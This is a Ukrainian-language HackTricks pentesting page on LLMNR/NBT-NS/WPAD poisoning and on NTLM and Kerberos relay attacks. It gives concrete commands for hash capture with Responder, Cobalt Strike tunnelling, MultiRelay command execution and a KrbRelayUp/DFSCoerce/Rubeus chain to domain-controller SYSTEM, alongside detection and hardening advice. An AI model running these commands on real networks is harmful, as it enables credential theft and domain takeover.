Спуфінг LLMNR, NBT-NS, mDNS/DNS та WPAD і атаки реле
Reading time: 11 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Мережеві протоколи
Протоколи локального розв'язання імен
- LLMNR, NBT-NS та mDNS:
- Microsoft та інші операційні системи використовують LLMNR та NBT-NS для локального розв'язання імен, коли DNS не працює. Аналогічно, системи Apple та Linux використовують mDNS.
- Ці протоколи підлягають перехопленню та спуфінгу через їх неавтентифіковану, трансляційну природу через UDP.
- Responder може бути використаний для імітації сервісів, надсилаючи підроблені відповіді до хостів, які запитують ці протоколи.
- Додаткову інформацію про імітацію сервісів за допомогою Responder можна знайти тут.
Протокол автоматичного виявлення веб-проксі (WPAD)
- WPAD дозволяє браузерам автоматично виявляти налаштування проксі.
- Виявлення здійснюється через DHCP, DNS або повернення до LLMNR та NBT-NS, якщо DNS не працює.
- Responder може автоматизувати атаки WPAD, направляючи клієнтів до шкідливих WPAD-серверів.
Responder для отруєння протоколів
- Responder - це інструмент, що використовується для отруєння запитів LLMNR, NBT-NS та mDNS, вибірково відповідаючи на основі типів запитів, переважно націлюючись на SMB-сервіси.
- Він попередньо встановлений у Kali Linux, налаштовується за адресою
/etc/responder/Responder.conf
. - Responder відображає захоплені хеші на екрані та зберігає їх у каталозі
/usr/share/responder/logs
. - Він підтримує як IPv4, так і IPv6.
- Версія Responder для Windows доступна тут.
Запуск Responder
- Щоб запустити Responder з налаштуваннями за замовчуванням:
responder -I <Interface>
- Для більш агресивного прослуховування (з потенційними побічними ефектами):
responder -I <Interface> -P -r -v
- Техніки для захоплення NTLMv1 викликів/відповідей для легшого злому:
responder -I <Interface> --lm --disable-ess
- Імітацію WPAD можна активувати за допомогою:
responder -I <Interface> --wpad
- Запити NetBIOS можуть бути вирішені на IP-адресу атакуючого, і можна налаштувати проксі для аутентифікації:
responder.py -I <interface> -Pv
Отруєння DHCP за допомогою Responder
- Спуфінг DHCP-відповідей може назавжди отруїти маршрутизаційну інформацію жертви, пропонуючи більш прихований варіант, ніж отруєння ARP.
- Це вимагає точного знання конфігурації цільової мережі.
- Запуск атаки:
./Responder.py -I eth0 -Pdv
- Цей метод може ефективно захоплювати NTLMv1/2 хеші, але вимагає обережного поводження, щоб уникнути порушення мережі.
Захоплення облікових даних за допомогою Responder
- Responder буде імітувати сервіси, використовуючи вищезгадані протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається аутентифікуватися проти спуфінгових сервісів.
- Можна спробувати знизити до NetNTLMv1 або відключити ESS для легшого злому облікових даних.
Важливо зазначити, що використання цих технік повинно здійснюватися законно та етично, забезпечуючи належну авторизацію та уникаючи порушень або несанкціонованого доступу.
Inveigh
Inveigh - це інструмент для тестувальників на проникнення та червоних команд, призначений для систем Windows. Він пропонує функціональність, подібну до Responder, виконуючи спуфінг та атаки "людина посередині". Інструмент еволюціонував з PowerShell-скрипта до бінарного файлу C#, з Inveigh та InveighZero як основними версіями. Докладні параметри та інструкції можна знайти в wiki.
Inveigh можна запускати через PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Або виконано як бінарний файл C#:
Inveigh.exe
NTLM Relay Attack
Ця атака використовує сесії аутентифікації SMB для доступу до цільової машини, надаючи системну оболонку у разі успіху. Основні передумови включають:
- Аутентифікований користувач повинен мати доступ до локального адміністратора на переданому хості.
- Підписування SMB повинно бути вимкнено.
445 Port Forwarding and Tunneling
У сценаріях, де безпосереднє введення в мережу неможливе, трафік на порту 445 потрібно перенаправити та тунелювати. Інструменти, такі як PortBender, допомагають перенаправити трафік порту 445 на інший порт, що є необхідним, коли доступ адміністратора локально доступний для завантаження драйверів.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Інші інструменти для атаки NTLM Relay
- Metasploit: Налаштування з проксі, деталями локального та віддаленого хостів.
- smbrelayx: Скрипт на Python для релеювання SMB-сесій та виконання команд або розгортання бекдорів.
- MultiRelay: Інструмент з набору Responder для релеювання конкретних користувачів або всіх користувачів, виконання команд або скидання хешів.
Кожен інструмент можна налаштувати для роботи через SOCKS-проксі, якщо це необхідно, що дозволяє проводити атаки навіть з непрямим доступом до мережі.
Операція MultiRelay
MultiRelay виконується з директорії /usr/share/responder/tools, націлюючись на конкретні IP-адреси або користувачів.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Ці інструменти та техніки формують комплексний набір для проведення атак NTLM Relay в різних мережевих середовищах.
Примус NTLM входів
В Windows ви можете примусити деякі привілейовані облікові записи автентифікуватися на довільних машинах. Прочитайте наступну сторінку, щоб дізнатися як:
Force NTLM Privileged Authentication
Атака Kerberos Relay
Атака Kerberos relay викрадає AP-REQ квиток з одного сервісу і повторно використовує його проти другого сервісу, який має той же ключ комп'ютерного облікового запису (оскільки обидва SPN знаходяться на одному обліковому записі $
). Це працює, навіть якщо класи сервісів SPN різні (наприклад, CIFS/
→ LDAP/
), оскільки ключ, який розшифровує квиток, є NT хешем машини, а не рядком SPN, і рядок SPN не є частиною підпису.
На відміну від NTLM relay, стрибок обмежений тією ж хостом, але, якщо ви націлюєтеся на протокол, який дозволяє вам записувати в LDAP, ви можете перейти до Resource-Based Constrained Delegation (RBCD) або AD CS enrollment і отримати NT AUTHORITY\SYSTEM за один раз.
Для детальної інформації про цю атаку перевірте:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Основи Kerberos
Токен | Призначення | Відношення до реле |
---|---|---|
TGT / AS-REQ ↔ REP | Доказує користувача KDC | неушкоджений |
Квиток сервісу / TGS-REQ ↔ REP | Прив'язаний до одного SPN; зашифрований ключем власника SPN | взаємозамінні, якщо SPN ділять обліковий запис |
AP-REQ | Клієнт надсилає TGS до сервісу | що ми крадемо та повторно використовуємо |
- Квитки зашифровані з використанням ключа, отриманого з пароля облікового запису, що володіє SPN.
- Аутентифікатор всередині AP-REQ має 5-хвилинний часовий штамп; повторне використання в цьому вікні є дійсним, поки кеш сервісу не побачить дублікат.
- Windows рідко перевіряє, чи рядок SPN у квитку відповідає сервісу, до якого ви звертаєтеся, тому квиток для
CIFS/HOST
зазвичай добре розшифровується наLDAP/HOST
.
-
- Що має бути правдою для реле Kerberos
- Спільний ключ: джерело та цільові SPN належать до одного комп'ютерного облікового запису (за замовчуванням на серверах Windows).
- Без захисту каналу: SMB/LDAP підпис вимкнений, а EPA вимкнено для HTTP/LDAPS.
- Ви можете перехопити або примусити автентифікацію: отруєння LLMNR/NBNS, спуфінг DNS, PetitPotam / DFSCoerce RPC, фальшивий AuthIP, зловмисний DCOM тощо.
- Джерело квитка не використано раніше: ви виграєте гонку до того, як реальний пакет потрапить, або повністю заблокуєте його; в іншому випадку кеш повторного використання сервера активує Подію 4649.
- Вам потрібно якимось чином мати можливість виконати MitM у комунікації, можливо, будучи частиною групи DNSAmins, щоб змінити DNS домену або мати можливість змінити файл HOST жертви.
Кроки атаки Kerberos Relay
- 3.1 Розвідка хоста
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Запустіть прослуховувач реле
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
обгортає KrbRelay → LDAP → RBCD → Rubeus → SCM обхід в одному бінарному файлі.
- 3.3 Примусити аутентифікацію Kerberos
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce змушує DC надіслати нам квиток Kerberos CIFS/DC01
.
- 3.4 Реле AP-REQ
KrbRelay витягує GSS blob з SMB, переформатовує його в LDAP bind і пересилає на ldap://DC01
— автентифікація успішна, оскільки той самий ключ розшифровує його.
- 3.5 Зловживання LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Ви тепер володієте NT AUTHORITY\SYSTEM.
Більше шляхів, які варто знати
Вектор | Трюк | Чому це важливо |
---|---|---|
AuthIP / IPSec | Фальшивий сервер надсилає GSS-ID payload з будь-яким SPN; клієнт створює AP-REQ прямо до вас | Працює навіть через підмережі; облікові дані машини за замовчуванням |
DCOM / MSRPC | Зловмисний OXID резолвер змушує клієнта автентифікуватися до довільного SPN і порту | Чисте локальне підвищення привілеїв; обходить брандмауер |
AD CS Web Enroll | Пересилайте квиток машини до HTTP/CA і отримайте сертифікат, потім PKINIT для створення TGT | Обходить захист підпису LDAP |
Shadow Credentials | Запишіть msDS-KeyCredentialLink , потім PKINIT з підробленою парою ключів | Немає потреби додавати обліковий запис комп'ютера |
Виправлення помилок
Помилка | Значення | Виправлення |
---|---|---|
KRB_AP_ERR_MODIFIED | Ключ квитка ≠ ключ цілі | Неправильний хост/SPN |
KRB_AP_ERR_SKEW | Годинник > 5 хвилин зміщення | Синхронізуйте час або використовуйте w32tm |
LDAP прив'язка не вдається | Підписання примусове | Використовуйте шлях AD CS або вимкніть підписання |
Спам події 4649 | Служба побачила дубльований автентифікатор | заблокувати або змагатися з оригінальним пакетом |
Виявлення
- Сплеск у Event 4769 для
CIFS/
,HTTP/
,LDAP/
з одного джерела протягом кількох секунд. - Event 4649 на службі вказує на виявлення повтору.
- Керберосний вхід з 127.0.0.1 (пересилання до локального SCM) є дуже підозрілим—відстежуйте за допомогою правила Sigma в документації KrbRelayUp.
- Слідкуйте за змінами атрибутів
msDS-AllowedToActOnBehalfOfOtherIdentity
абоmsDS-KeyCredentialLink
.
Ускладнення
- Примусьте підписання LDAP та SMB + EPA на кожному сервері.
- Розділіть SPN так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP.
- Виправте вектори примусу (PetitPotam KB5005413, DFS, AuthIP).
- Встановіть
ms-DS-MachineAccountQuota = 0
для зупинки несанкціонованих приєднань комп'ютерів. - Сповіщайте про Event 4649 та несподівані локальні входи Kerberos.
Посилання
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.